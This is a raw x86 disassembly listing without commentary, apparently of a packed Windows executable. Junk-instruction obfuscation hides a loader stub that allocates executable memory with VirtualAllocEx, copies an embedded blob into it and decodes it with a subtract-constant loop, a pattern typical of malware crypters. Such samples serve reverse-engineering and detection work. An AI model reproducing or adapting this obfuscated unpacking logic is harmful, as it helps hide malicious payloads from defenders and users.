lea esi, [ebp - 0x30]
mov edx, dword [ebp - 0x30]
lea esi, [esp]
lea esi, [ebp]
lea ecx, [ebp - 0x34]
mov edi, eax
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], edi
mov edx, dword [ebp - 0x2c]
lea eax, [ebp]
mov edi, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
mov eax, dword [esp]
mov esi, 0xc1
lea edi, [ebp]
lea edx, [ebp]
mov dword [ebp - 0x34], ecx
mov edi, dword [ebp - 0x2c]
mov di, 0x10
lea edi, [ebp - 0x2c]
mov eax, edx
mov edi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x2c]
mov edx, 1
lea esi, [esp]
mov edi, 0x31
lea edi, [esp]
mov edi, 0xb8
mov edi, dword [ebp]
mov edi, dword [esp]
mov edx, dword [ebp - 0x38]
or dword [ebp - 0x3c], 0xffffff
sub edx, edx
cmp edx, 0
jbe 0x408db9
xor eax, eax
xor dword [ebp - 0x34], 0xffff
mov dword [ebp - 0x34], eax
test edx, edx
jb 0x408db9
mov dword [ebp - 0x30], 4
lea eax, [ebp - 0x30]
sub dword [ebp - 0x34], 0xf
inc dword [ebp - 4]
sub edx, edx
mov dword [ebp - 0x34], 0x14
sub ecx, ecx
mov cx, 2
and dword [ebp - 0x38], 0xffff
test edx, edx
jae 0x408deb
mov ecx, 0
or dword [ebp - 0x30], 0xff
cmp ecx, dword [ebp - 0x38]
ja 0x408deb
sub eax, eax
sub edx, edx
mov edx, 0x60
xor dword [ebp - 0x30], 0xffff
cmp edx, dword [ebp - 0x34]
jbe 0x408e15
mov ecx, dword [ebp - 0x2c]
or dword [ebp - 0x34], 0xffff
and dword [ebp - 0x30], 0xffffff
test edx, edx
jne 0x408e15
add eax, dword [ebp - 4]
xor edx, edx
or dword [ebp - 0x30], 0xff00ff
sub edx, edx
cmp edx, 0
jae 0x408e32
mov ecx, pe_nt_image_headers32
cmp ecx, 0x46
ja 0x408e32
mov esi, dword [eax]
sub edx, edx
xor dword [ebp - 0x30], 0xff
sub edx, edx
cmp edx, 0x3cb
jbe 0x408e66
mov edi, 0
cmp edx, dword [ebp - 0x34]
jbe 0x408e66
or dword [ebp - 0x3c], 0xffff
sub dword [ebp - 0x30], 0x80
xor dword [ebp - 0x2c], 0xffffff
mov dword [ebp - 0x18], esi
sub edx, edx
xor dword [ebp - 0x2c], 0xffffff
lea edx, [ebp - 0x30]
cmp dword [ebp - 0x34], edx
jb 0x408e80
xor ecx, ecx
test edx, edx
je 0x408e80
push 0x40
push 0x1000
push 0x13000
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
mov dword [ebp - 0x28], eax
push 2
push 0x2000
push 0x300
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp]
mov edi, dword [esp]
lea edi, [esp]
mov di, 0x94
lea esi, [ebp]
mov eax, 2
mov ecx, dword [esp]
lea esi, [esp]
mov dword [ebp - 0x2c], edx
lea eax, [ebp]
mov edi, dword [esp]
lea eax, [ebp - 0x3c]
mov edi, eax
lea esi, [ebp]
mov eax, dword [ebp]
mov edi, edx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x3c], edx
lea esi, [ebp - 0x2c]
mov edi, dword [ebp - 0x2c]
mov di, 0xd1
mov ax, 4
lea edx, [ebp]
mov edi, edx
lea esi, [ebp - 0x3c]
mov esi, ecx
mov edi, esi
mov edi, 4
mov dword [ebp - 0x38], ecx
lea eax, [ebp]
mov dword [ebp - 0x34], edi
mov edi, dword [ebp - 0x38]
mov eax, dword [esp]
mov edi, ecx
lea esi, [ebp]
mov edi, dword [ebp]
lea ecx, [esp]
mov esi, dword [ebp]
lea edi, [esp]
mov eax, dword [ebp - 0x2c]
sub edx, edx
mov dx, 3
mov eax, 0
xor edx, edx
mov edx, 0x40
mov dword [ebp - 0x30], 0x80
mov edx, 0x20
cmp edx, 0
jbe 0x408f60
mov ecx, 0
sub edx, edx
xor edx, edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, 0x74
mov eax, edi
mov edi, dword [esp]
mov eax, dword [ebp]
mov edi, dword [esp]
lea edi, [ebp - 0x34]
lea edi, [ebp]
mov edi, dword [esp]
mov edi, eax
mov ecx, esi
mov ax, 0x6e
mov esi, eax
mov edx, eax
mov edx, dword [ebp - 0x2c]
lea esi, [esp]
lea ecx, [ebp - 0x3c]
mov eax, 1
mov esi, dword [ebp]
mov eax, 2
mov edi, dword [esp]
mov ecx, dword [ebp]
lea eax, [ebp]
lea edx, [ebp - 0x2c]
lea edx, [ebp]
mov eax, dword [ebp - 0x3c]
mov edx, 0xbf
mov eax, dword [ebp]
lea edi, [esp]
lea ecx, [ebp - 0x38]
mov edx, esi
mov edi, dword [ebp]
mov esi, dword [ebp]
mov esi, 0x80
lea ecx, [ebp - 0x30]
mov si, 4
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
lea edi, [ebp]
mov edi, dword [esp]
mov cx, 0x40
lea eax, [ebp]
push 2
push 0x4000
push pe_nt_image_headers32
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea edx, [esp]
mov eax, 0x10
mov ecx, dword [esp]
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x30]
lea ecx, [esp]
mov esi, edi
mov si, 0x20
lea edi, [ebp]
mov edi, dword [ebp]
lea eax, [ebp]
lea ecx, [esp]
lea edi, [ebp - 0x2c]
lea esi, [ebp]
mov esi, edx
lea esi, [ebp - 0x2c]
mov esi, dword [esp]
lea edi, [esp]
mov edx, dword [esp]
mov edi, dword [ebp]
mov dword [ebp - 0x34], ecx
mov edi, 0xa1
lea edi, [esp]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x3c], ecx
mov di, 1
mov dword [ebp - 0x3c], esi
mov edx, 0x9a
lea edi, [ebp - 0x2c]
lea edx, [esp]
mov edi, dword [ebp - 0x30]
mov si, 0x80
mov ecx, dword [ebp - 0x2c]
mov edx, esi
mov edi, eax
lea ecx, [ebp - 0x3c]
mov ecx, esi
sub eax, eax
or dword [ebp - 0x38], 0xffffff
xor ecx, ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x38], edi
mov eax, edx
lea edi, [esp]
mov edi, ecx
mov edi, dword [ebp - 0x38]
lea ecx, [esp]
lea ecx, [ebp - 0x30]
mov edx, dword [esp]
lea edi, [ebp - 0x2c]
mov ecx, dword [esp]
lea esi, [ebp]
lea esi, [ebp - 0x38]
mov edx, dword [ebp - 0x34]
mov di, 0x31
mov eax, dword [ebp - 0x38]
mov ecx, 0x40
mov edx, 1
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x3c], edx
lea esi, [ebp - 0x2c]
mov eax, dword [esp]
mov si, 0x64
mov ecx, eax
mov dword [ebp - 0x2c], ecx
lea eax, [ebp]
lea ecx, [ebp - 0x30]
mov dx, 0x48
mov dx, 0xef
mov di, 2
lea esi, [ebp - 0x3c]
mov edx, dword [ebp - 0x30]
mov dx, 1
lea eax, [esp]
mov dword [ebp - 0x34], edi
mov edx, 2
mov edi, 1
mov edx, dword [ebp - 0x3c]
mov eax, dword [esp]
mov edi, dword [ebp]
mov edi, dword [ebp - 0x2c]
mov esi, 8
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, eax
lea ecx, [ebp]
mov esi, 0xde
mov esi, dword [esp]
mov edx, dword [esp]
mov edx, 1
lea edi, [ebp]
mov eax, dword [esp]
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], esi
mov ecx, dword [esp]
mov edx, dword [esp]
mov dword [ebp - 0x38], edi
mov esi, 4
mov cx, 0x90
mov di, 4
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp]
mov ecx, 0x79
mov ecx, dword [ebp]
mov ecx, dword [ebp]
mov edx, edi
lea eax, [esp]
mov eax, dword [ebp]
mov edi, dword [ebp - 0x2c]
mov edi, eax
mov edi, dword [esp]
mov edx, 0x46
mov edi, dword [esp]
mov edx, dword [ebp]
mov dword [ebp - 0x3c], edi
mov edi, 0x23
mov esi, dword [ebp]
mov eax, dword [esp]
mov ecx, eax
mov edi, dword [esp]
mov dword [ebp - 0x38], esi
mov edi, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
test eax, eax
je 0x4091a7
xor ecx, ecx
test ecx, ecx
jne 0x4091a7
push 8
push 0x4000
push 0x300
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea eax, [ebp]
lea edi, [esp]
mov dx, 1
mov edx, dword [ebp]
lea edi, [esp]
mov di, 0xd4
mov eax, dword [ebp]
mov ecx, 0x47
mov dword [ebp - 0x34], edx
lea esi, [esp]
lea edi, [ebp]
mov dword [ebp - 0x2c], ecx
lea ecx, [esp]
mov dword [ebp - 0x30], eax
mov esi, dword [esp]
mov esi, dword [ebp - 0x34]
mov ecx, dword [ebp]
mov esi, dword [ebp]
lea esi, [esp]
mov edx, dword [ebp - 0x2c]
mov ecx, 0x85
lea ecx, [ebp - 0x2c]
lea eax, [ebp - 0x38]
lea esi, [esp]
lea eax, [ebp]
mov di, 0x5e
lea ecx, [ebp]
lea eax, [ebp]
mov ecx, dword [esp]
mov dx, 0x10
mov edx, dword [ebp - 0x34]
mov edi, dword [ebp - 0x3c]
mov esi, edx
mov ax, 0x33
mov cx, 4
mov edx, 0xc1
mov dx, 0x40
mov edi, eax
sub ecx, ecx
cmp ecx, 0
jae 0x40924f
mov eax, pe_nt_image_headers32
and dword [ebp - 0x38], 0xffff
xor ecx, ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [ebp - 0x2c]
mov edi, dword [esp]
mov ecx, dword [ebp]
mov dx, 8
mov edx, 2
mov esi, edi
mov eax, dword [esp]
mov di, 0x40
lea edi, [ebp - 0x34]
mov dword [ebp - 0x34], ecx
lea edi, [ebp - 0x38]
mov esi, 4
mov ecx, dword [esp]
lea eax, [ebp]
mov esi, dword [esp]
lea edi, [esp]
mov dword [ebp - 0x2c], edx
mov esi, dword [ebp - 0x38]
mov si, 0x80
lea edi, [esp]
mov edi, eax
lea edi, [ebp]
mov si, 0x10
mov dword [ebp - 0x38], edi
mov eax, dword [ebp]
lea edx, [esp]
lea esi, [ebp]
lea edi, [ebp]
mov eax, dword [ebp]
lea edx, [esp]
mov ax, 8
lea eax, [ebp]
mov di, 0x1e
lea edx, [ebp - 0x3c]
mov edi, dword [ebp - 0x38]
mov edi, dword [esp]
lea edi, [ebp - 0x34]
mov edx, dword [esp]
mov edx, dword [ebp - 0x38]
lea esi, [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp]
mov dword [ebp - 0x38], esi
mov eax, 0x300
or dword [ebp - 0x3c], 0xff00ff
add dword [ebp - 0x34], 0x1e
mov dword [ebp - 0x30], 0x20
mov ax, 0x3d
cmp eax, 0x62
ja 0x409320
add dword [ebp - 0x2c], 8
or dword [ebp - 0x38], 0xff
sub eax, eax
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x34], 1
sub edx, edx
mov eax, 0x6a
xor edx, edx
push 4
push 0x2000
push 0xb00
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, 1
lea esi, [esp]
lea edx, [ebp]
mov di, 0xb
mov dword [ebp - 0x34], edx
mov ecx, edx
mov edx, dword [esp]
lea edi, [ebp - 0x2c]
mov di, 0xba
mov esi, dword [esp]
mov ecx, 0x66
lea edi, [esp]
mov edi, 0x25
mov ecx, dword [ebp]
mov di, 0x10
mov edi, 0xd7
mov dword [ebp - 0x38], eax
mov eax, edi
lea edx, [ebp]
mov edi, 0xd2
mov esi, eax
mov eax, dword [esp]
mov edx, dword [esp]
mov esi, dword [esp]
mov eax, 0xdc
mov dword [ebp - 0x34], edi
mov edi, 0xc7
lea eax, [ebp - 0x38]
mov edi, esi
mov si, 8
lea esi, [ebp - 0x30]
mov ecx, dword [esp]
mov eax, dword [ebp]
mov edi, ecx
lea edi, [esp]
lea edx, [esp]
lea edi, [ebp - 0x3c]
mov si, 8
mov eax, 0
mov ecx, 0x64
mov ecx, 0x74
mov dword [ebp - 0x3c], 0x2f
cmp ecx, 0x87
ja 0x4093df
mov eax, pe_nt_image_headers32
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ecx
jb 0x4093df
mov edi, dword [ebp - 8]
mov esi, dword [ebp - 0x18]
add esi, 0x40db7e
mov ecx, 0xde1
rep movsb byte es:[edi], byte [esi]
xor edx, edx
mov ax, 0x20
mov eax, 0x80
mov eax, 0x12c
sub dword [ebp - 0x2c], 0x20
add dword [ebp - 0x34], 0x56
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x2c], edi
mov ecx, 8
mov edi, dword [ebp - 0x38]
lea edi, [ebp - 0x38]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x30], ecx
mov edi, dword [ebp - 0x38]
lea ecx, [ebp - 0x38]
mov esi, edi
mov edi, dword [esp]
lea esi, [esp]
mov edi, 0x82
mov edi, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
lea edx, [ebp]
mov di, 4
mov dword [ebp - 0x3c], edx
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x2c]
mov edi, eax
lea edx, [ebp]
lea edi, [ebp]
mov edx, dword [ebp]
mov dword [ebp - 0x3c], edi
lea edx, [ebp]
lea edx, [ebp]
mov edi, 0xa2
mov eax, edi
mov eax, dword [ebp]
mov dword [ebp - 0x34], eax
lea esi, [esp]
lea esi, [ebp - 0x3c]
mov ecx, edi
mov edx, dword [ebp]
mov ecx, 2
mov dword [ebp - 0x2c], edi
lea eax, [esp]
mov esi, eax
mov edi, dword [ebp]
mov eax, dword [ebp - 0x38]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, ecx
lea esi, [ebp]
mov ecx, dword [ebp - 0x30]
lea edi, [ebp]
mov ecx, dword [esp]
mov edx, dword [esp]
mov ax, 0x59
lea esi, [ebp - 0x38]
mov esi, dword [esp]
mov si, 0x25
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x30]
lea edi, [ebp - 0x38]
mov edi, dword [ebp - 0x2c]
mov edi, ecx
lea edi, [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
lea edx, [esp]
mov edi, dword [ebp]
lea edi, [ebp]
lea edi, [esp]
mov edi, dword [ebp - 0x34]
lea ecx, [ebp]
mov ecx, dword [ebp - 0x30]
mov edi, dword [ebp - 0x34]
lea edx, [ebp - 0x34]
mov edi, dword [ebp - 0x38]
lea edx, [esp]
mov esi, dword [ebp]
lea ecx, [ebp - 0x30]
mov edi, dword [ebp - 0x2c]
mov eax, dword [esp]
mov edi, 0x76
mov edi, dword [esp]
mov eax, dword [esp]
mov edi, dword [esp]
lea ecx, [ebp]
mov ecx, dword [ebp]
lea ecx, [ebp - 0x38]
mov ecx, dword [ebp - 0x2c]
mov eax, 0x200
mov dx, 0x10
xor dword [ebp - 0x3c], 0xffffff
sub edx, edx
mov dword [ebp - 0x2c], eax
and dword [ebp - 0x2c], 0xffff
mov edx, 0x64
and dword [ebp - 0x30], 0xffffff
xor edx, edx
xor dword [ebp - 0x38], 0xffff
xor dword [ebp - 0x38], 0xffff
cmp dword [ebp - 0x38], edx
je 0x409565
mov ecx, dword [ebp - 0x38]
or dword [ebp - 0x38], 0xff00ff
and dword [ebp - 0x30], 0xff00ff
mov dword [ebp - 0x34], edx
push 2
push 0x8000
push 0xb00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp]
mov edi, esi
mov edi, dword [ebp]
mov edi, dword [ebp]
mov edi, esi
mov cx, 8
lea edx, [ebp]
mov ecx, dword [ebp - 0x34]
lea ecx, [esp]
mov ecx, 0xb
lea edi, [ebp - 0x30]
lea esi, [ebp - 0x30]
mov dword [ebp - 0x34], ecx
mov edi, edx
mov edi, dword [esp]
mov si, 0xd5
lea esi, [ebp - 0x38]
mov edi, 0x10
mov eax, dword [ebp - 0x3c]
lea edx, [esp]
mov di, 1
mov dword [ebp - 0x38], esi
lea edi, [ebp - 0x38]
lea edi, [esp]
lea edx, [ebp]
mov esi, 0x40
mov edi, dword [ebp]
mov edi, 0x80
mov ax, 0x40
lea edx, [esp]
mov dword [ebp - 0x34], eax
mov eax, 0xc
lea edx, [esp]
mov esi, edi
mov dword [ebp - 0x3c], ecx
mov edi, 0x20
mov esi, 0x80
lea esi, [ebp - 0x3c]
mov edi, dword [ebp]
mov esi, edi
mov ecx, edx
lea edi, [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x34], ecx
lea edi, [ebp]
mov edi, dword [ebp]
lea ecx, [esp]
mov edi, dword [esp]
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x38], edi
lea esi, [esp]
lea edi, [esp]
lea eax, [esp]
lea edi, [ebp]
lea ecx, [ebp]
mov edx, dword [ebp]
lea edx, [esp]
mov edi, 8
mov edx, dword [ebp - 0x3c]
mov edx, dword [ebp]
mov eax, edi
mov dword [ebp - 0x30], edi
mov dx, 0xbf
mov dx, 0x80
lea esi, [ebp]
mov eax, dword [esp]
mov eax, dword [ebp]
mov dword [ebp - 0x34], edi
mov di, 0x99
lea ecx, [ebp]
mov edi, dword [esp]
lea esi, [ebp]
lea ecx, [ebp]
lea edi, [ebp]
lea edx, [ebp - 0x3c]
mov edi, dword [esp]
mov edi, 0x73
lea edi, [esp]
mov eax, dword [ebp]
lea edx, [ebp - 0x2c]
lea edi, [ebp]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x30], esi
mov edi, dword [ebp]
lea esi, [esp]
lea edx, [ebp - 0x38]
mov edi, 0x71
sub eax, eax
mov ecx, 0x64
push 8
push 0x4000
push 0x700
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea edx, [ebp - 0x38]
mov di, 0x40
mov esi, eax
mov dx, 1
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
lea eax, [esp]
mov edx, dword [ebp]
mov si, 1
mov dword [ebp - 0x3c], edi
mov esi, edx
mov dword [ebp - 0x34], edi
lea esi, [ebp]
mov edx, ecx
mov ecx, dword [ebp - 0x38]
lea edi, [ebp]
lea eax, [ebp]
mov edi, dword [ebp]
mov dword [ebp - 0x3c], edi
mov edi, dword [ebp - 0x30]
lea edx, [ebp]
lea ecx, [ebp - 0x38]
lea esi, [esp]
mov edi, dword [ebp]
mov eax, esi
mov esi, dword [ebp]
mov esi, dword [ebp]
lea esi, [ebp]
lea edi, [esp]
mov eax, dword [ebp]
mov ecx, edi
mov edi, dword [ebp]
mov dword [ebp - 0x3c], edi
mov dx, 0x20
lea ecx, [ebp - 0x34]
mov eax, 0x40
mov edx, dword [esp]
lea esi, [ebp - 0x38]
sub eax, eax
or dword [ebp - 0x38], 0xff
sub eax, eax
cmp eax, 0xca
jne 0x409742
xor edx, edx
cmp dword [ebp - 0x3c], edx
jne 0x409749
xor dword [ebp - 0x2c], 0xffffff
or dword [ebp - 0x30], 0xffffff
mov ax, 4
push 8
push 0x2000
push 0xa00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x38], edi
mov edi, 0xa8
mov ecx, dword [esp]
lea eax, [ebp - 0x38]
mov edx, 0xc6
mov cx, 0x80
lea ecx, [esp]
mov edi, eax
lea eax, [ebp - 0x34]
mov eax, edi
lea edx, [esp]
mov edi, dword [ebp - 0x34]
mov edi, dword [ebp]
mov edi, edx
mov dword [ebp - 0x38], esi
mov eax, dword [esp]
lea ecx, [ebp - 0x3c]
lea ecx, [ebp]
lea ecx, [esp]
mov edx, dword [ebp - 0x38]
mov di, 0x80
mov ecx, dword [ebp - 0x3c]
mov edi, ecx
mov di, 0x12
mov ax, 4
mov ax, 0x80
lea edi, [ebp]
mov dword [ebp - 0x3c], edi
lea ecx, [esp]
lea edx, [esp]
mov dword [ebp - 0x30], edi
mov di, 1
mov ecx, 0x10
mov dword [ebp - 0x34], edi
lea eax, [ebp - 0x30]
mov edi, esi
mov esi, dword [ebp]
mov di, 8
sub eax, eax
and dword [ebp - 0x30], 0xffffff
sub dword [ebp - 0x2c], 4
cmp eax, 0
jbe 0x409804
sub ecx, ecx
and dword [ebp - 0x3c], 0xff
cmp ecx, 0
ja 0x409804
push 4
push 0x4000
push 0x300
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov si, 2
mov dword [ebp - 0x38], edx
mov esi, dword [ebp]
lea edi, [ebp]
mov eax, 0x40
lea edi, [ebp - 0x2c]
mov edi, 4
mov edx, 0xfa
mov edi, dword [ebp]
mov dword [ebp - 0x34], esi
mov edi, dword [ebp]
mov edi, dword [esp]
mov ax, 8
mov eax, 0x10
mov edi, dword [ebp]
lea eax, [ebp - 0x34]
mov edi, edx
lea esi, [ebp - 0x2c]
lea edi, [esp]
mov esi, edi
mov edi, dword [ebp]
mov dx, 0x80
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp]
mov edx, dword [esp]
mov edi, dword [ebp - 0x34]
lea edi, [ebp - 0x2c]
mov di, 0xfa
mov esi, 0x80
mov edi, dword [ebp - 0x2c]
mov esi, 1
lea eax, [esp]
lea eax, [ebp]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x34], edx
mov edx, dword [ebp - 0x3c]
lea ecx, [ebp - 0x3c]
mov eax, dword [esp]
lea edi, [ebp]
mov edi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov edx, 0x200
lea edx, [ebp - 0x34]
and dword [ebp - 0x30], 0xffff
cmp dword [ebp - 0x3c], edx
jbe 0x4098bf
mov eax, 0x12c
sub edx, edx
mov dword [ebp - 0x30], edx
mov esi, dword [ebp - 8]
mov eax, 0
add dword [ebp - 0x38], 0x20
cmp eax, dword [ebp - 0x38]
je 0x4098e2
sub edx, edx
or dword [ebp - 0x2c], 0xff00ff
mov ax, 0x40
cmp dword [ebp - 0x38], eax
jb 0x4098e2
mov ecx, 0x1800
sub eax, eax
xor dword [ebp - 0x30], 0xffffff
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x30], eax
jbe 0x409901
mov edx, dword [ebp - 0x3c]
sub edx, edx
mov dx, 0x68
mov edi, 0x200
mov di, 4
sub dword [ebp - 0x30], 0x25
cmp edi, 0
ja 0x40992f
mov edx, 0x200
and dword [ebp - 0x3c], 0xff00ff
xor edi, edi
mov di, 0x44
mov dword [ebp - 0x38], edx
and dword [ebp - 0x3c], 0xffffff
mov edi, dword [esi]
mov edx, 0x12c
mov dx, 0x52
cmp edx, dword [ebp - 0x38]
jb 0x40994f
mov eax, 0x64
xor dword [ebp - 0x2c], 0xffff
test edx, edx
jbe 0x40994f
sub edi, 0xfee22bc9
mov dword [esi], edi
add esi, 4
mov edx, dword [ebp - 0x3c]
lea edx, [ebp - 0x38]
mov dx, 8
cmp edx, 0
jb 0x40997a
mov eax, 0x12c
mov dword [ebp - 0x2c], 7
cmp eax, dword [ebp - 0x34]
jb 0x40997a
loop 0x40992f
mov eax, pe_nt_image_headers32
add dword [ebp - 0x30], 0x10
and dword [ebp - 0x38], 0xffff
or dword [ebp - 0x2c], 0xffffff
test eax, eax
ja 0x4099a5
xor ecx, ecx
and dword [ebp - 0x34], 0xff00ff
cmp ecx, dword [ebp - 0x30]
jb 0x4099a5
lea ecx, [ebp - 0x3c]
mov ecx, 0x20
mov dword [ebp - 0x38], ecx
add dword [ebp - 0x38], 4
push 4
push 0x8000
push 0xe00
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x30]
lea edx, [ebp - 0x3c]
mov esi, 0x80
mov esi, edi
mov esi, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
mov dword [ebp - 0x2c], edi
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x34], esi
mov ecx, dword [esp]
mov edx, dword [ebp - 0x2c]
lea edx, [ebp]
lea esi, [esp]
mov eax, dword [ebp]
mov edi, 0x1f
mov edi, dword [ebp - 0x30]
mov edi, eax
lea edi, [esp]
mov ecx, 0x40
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x2c], edx
lea ecx, [ebp]
mov edi, 0x80
mov ecx, dword [ebp]
lea edi, [ebp]
mov edx, dword [ebp]
lea eax, [esp]
mov esi, edi
lea eax, [ebp - 0x2c]
lea edi, [ebp]
mov si, 2
mov di, 0x80
lea ecx, [ebp - 0x30]
lea eax, [esp]
mov esi, dword [esp]
lea edi, [ebp]
mov dword [ebp - 0x3c], eax
mov edi, 0xe
mov ecx, 0x200
mov ecx, 2
and dword [ebp - 0x3c], 0xff00ff
and dword [ebp - 0x2c], 0xffffff
and dword [ebp - 0x34], 0xff
cmp ecx, 0
jne 0x409a7c
xor eax, eax
and dword [ebp - 0x34], 0xffff
sub ecx, ecx
mov cx, 0x20
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov eax, dword [ebp]
mov ecx, dword [esp]
lea esi, [ebp - 0x34]
mov edi, 0xe3
mov dword [ebp - 0x2c], edi
lea esi, [esp]
lea edi, [esp]
lea edx, [ebp - 0x34]
lea edi, [ebp]
mov dword [ebp - 0x38], esi
mov di, 2
mov ecx, 0x92
mov cx, 0x76
mov di, 0x91
mov edi, dword [ebp]
mov cx, 4
mov dword [ebp - 0x2c], ecx
mov ax, 0x20
mov eax, dword [esp]
mov ecx, dword [esp]
lea esi, [ebp - 0x30]
mov edi, edx
mov esi, 0x7d
mov edx, dword [esp]
mov edi, dword [esp]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x38]
lea edi, [esp]
mov ecx, dword [ebp]
lea eax, [ebp]
mov edx, dword [esp]
lea esi, [ebp - 0x34]
mov edi, dword [ebp]
mov ax, 0x4d
lea esi, [ebp]
lea edi, [ebp - 0x2c]
lea edi, [esp]
mov cx, 0x23
sub eax, eax
add dword [ebp - 0x30], 0x36
and dword [ebp - 0x2c], 0xff
or dword [ebp - 0x38], 0xff00ff
mov edx, 0x200
mov eax, 0x10
xor eax, eax
add dword [ebp - 0x38], 0x13
push 4
push 0x2000
push 0xc00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea eax, [ebp - 0x3c]
lea ecx, [esp]
lea ecx, [ebp - 0x38]
mov edi, dword [ebp]
mov ecx, dword [ebp]
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp]
lea edi, [esp]
lea edi, [esp]
lea edx, [ebp - 0x2c]
lea edi, [ebp]
mov dword [ebp - 0x34], esi
mov edi, ecx
lea ecx, [ebp]
lea edi, [ebp]
mov esi, dword [esp]
lea eax, [ebp]
mov esi, dword [ebp - 0x34]
mov edi, dword [ebp]
mov edx, dword [ebp - 0x2c]
mov esi, 0x4c
mov ecx, edi
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], eax
lea esi, [ebp - 0x3c]
mov esi, 4
lea ecx, [ebp - 0x30]
mov esi, dword [ebp]
mov dword [ebp - 0x34], ecx
lea esi, [ebp]
mov edi, ecx
mov ecx, edx
mov esi, eax
lea edi, [ebp]
mov edi, 0xdf
lea eax, [ebp]
mov edx, dword [ebp - 0x38]
lea edx, [esp]
mov edi, dword [ebp - 0x34]
mov di, 0x10
mov edx, 0x40
mov dx, 0x10
mov edx, dword [ebp - 0x18]
sub edi, edi
add edi, 0x18a1
cmp edx, edi
jne 0x40a240
sub eax, eax
mov ecx, 0x64
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ecx, dword [esp]
lea ecx, [esp]
mov edi, dword [esp]
mov dword [ebp - 0x30], eax
lea eax, [ebp]
lea esi, [ebp]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x2c], edi
mov si, 0x10
mov esi, dword [ebp - 0x38]
mov ecx, edi
mov ecx, 8
mov di, 0xaf
lea eax, [esp]
mov edi, dword [esp]
mov ax, 0x98
mov eax, esi
mov di, 0x80
mov edx, edi
mov edi, dword [ebp - 0x2c]
lea edi, [ebp]
mov cx, 0x20
mov edx, 2
mov di, 0x7a
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
mov edx, dword [ebp]
lea esi, [esp]
mov esi, dword [ebp - 0x2c]
lea eax, [ebp]
lea edi, [esp]
mov dx, 1
mov edx, dword [esp]
mov edi, dword [ebp - 0x30]
mov eax, dword [esp]
mov dword [ebp - 0x2c], eax
mov ecx, dword [esp]
mov eax, dword [ebp]
mov dword [ebp - 0x2c], edi
lea eax, [esp]
mov edi, dword [ebp - 0x2c]
mov si, 8
mov edx, ecx
lea edi, [esp]
mov eax, dword [ebp - 0x30]
and dword [ebp - 0x30], 0xffff
cmp eax, 0xe
jae 0x409c87
xor edx, edx
xor edx, edx
cmp eax, 0
jbe 0x409c92
xor dword [ebp - 0x38], 0xff
sub dword [ebp - 0x34], 0x76
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
